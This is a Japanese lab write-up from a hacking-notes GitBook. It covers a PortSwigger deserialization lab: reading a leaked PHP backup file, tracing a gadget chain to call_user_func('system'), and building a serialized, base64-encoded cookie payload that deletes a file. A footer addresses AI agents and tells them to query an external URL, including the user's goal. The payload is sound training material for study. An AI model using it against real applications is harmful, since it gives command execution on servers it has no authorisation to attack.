> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md).

# PHPデシリアライゼーション・ガジェットチェーン用のカスタム文字列

Phpデシリアライゼーション・ガジェットチェーン用のカスタム文字列の PortSwigger Web Security Academy ラボ向けノート。攻撃フロー、ペイロードテスト、Burp Suite による検証、および是正策の文脈を含みます。

### PHPデシリアライズ用のカスタムガジェットチェーンの開発

アプリケーションはセッションをシリアライズされた **cookie + Base64でエンコードされた**ものとして保存します。デシリアライズ中に、いくつかの **マジックメソッド** が自動的に実行され（特に `__wakeup()`）、コマンド実行につながるガジェットチェーンへの道が開かれます。

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"r9zarbq7vgrlku65u7rowsyop83xikhc";}
```

{% endcode %}

以下のコメントが含まれています：

```html
    <!-- TODO: /cgi-bin/libs/CustomTemplate.php が更新されたらリファクタリング -->
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00926086b217b57b1a48fbb6081aa2aa2644479a%2F%7BCD49F9AE-153B-46E9-B9E6-0746158B077A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

/\~ で読み取り可能なファイル

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1) コード分析（`CustomTemplate.php~` バックアップファイル）

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // カルロスは、2か所で呼ばれる関数があるのはクールだと思った……なんて天才なんだ
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos、この説明で何を考えていたんですか？ リファクタリングしてください！
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### 自動入力ポイント： `CustomTemplate::__wakeup()`

* 中に `unserialize()`、PHP は自動的に `__wakeup()`.
* ここで、 `__wakeup()` 呼び出します `build_product()`.

#### への伝播 `Product`

`build_product()` は次のようにします：

* `new Product($this->default_desc_type, $this->desc)`

そして `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

つまり **コードは動的プロパティにアクセスしようとします** 上の `$desc` オブジェクトに対して、 `$default_desc_type` を制御可能な値として使います。

#### 決定的なガジェット： `DefaultMap::__get($name)`

もし `$desc` は `DefaultMap` オブジェクトです：

* 実際のプロパティ `HTML_DESC` / `TEXT_DESC` / または他に課されているチェーンがないため、
* そのため PHP は `__get($name)`,
* `__get()` を呼び出します： `call_user_func($this->callback, $name)`.

もし `callback = "system"` が設定されると、結果は `system($name)`.

#### 2) チェーンの目的

実行：

* `system("rm /home/carlos/morale.txt")`

#### 3) チェーンの構築（論理的）

オブジェクトを構築します：

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/（これは のプロパティ名になります `DefaultMap`、したがって に渡される引数は `system`)
* `CustomTemplate->desc` = **DefaultMap オブジェクト**
* `DefaultMap->callback` = **"system"**

デシリアライズから導かれる：

1. `unserialize()` → を呼び出します `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` は `$desc->$default_desc_type`
4. `$desc` です `DefaultMap` そしてそのプロパティは存在しない → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → コマンドを実行します

#### 4) シリアライズされた PHP ペイロード（長さに注意）

シリアライズされたペイロード：

```json
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
```

#### Cookie 用の Base64 エンコード

コマンド：

```bash
echo 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}' | base64 -w 0 ; echo
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9536555a5a3001308a36224bcef01e69dfd4435%2F%7B6BB03D50-45D1-4220-A3D4-E8ED4F86CB2E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/deserialization/custom-string-for-php-deserialization-gadget-chain.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
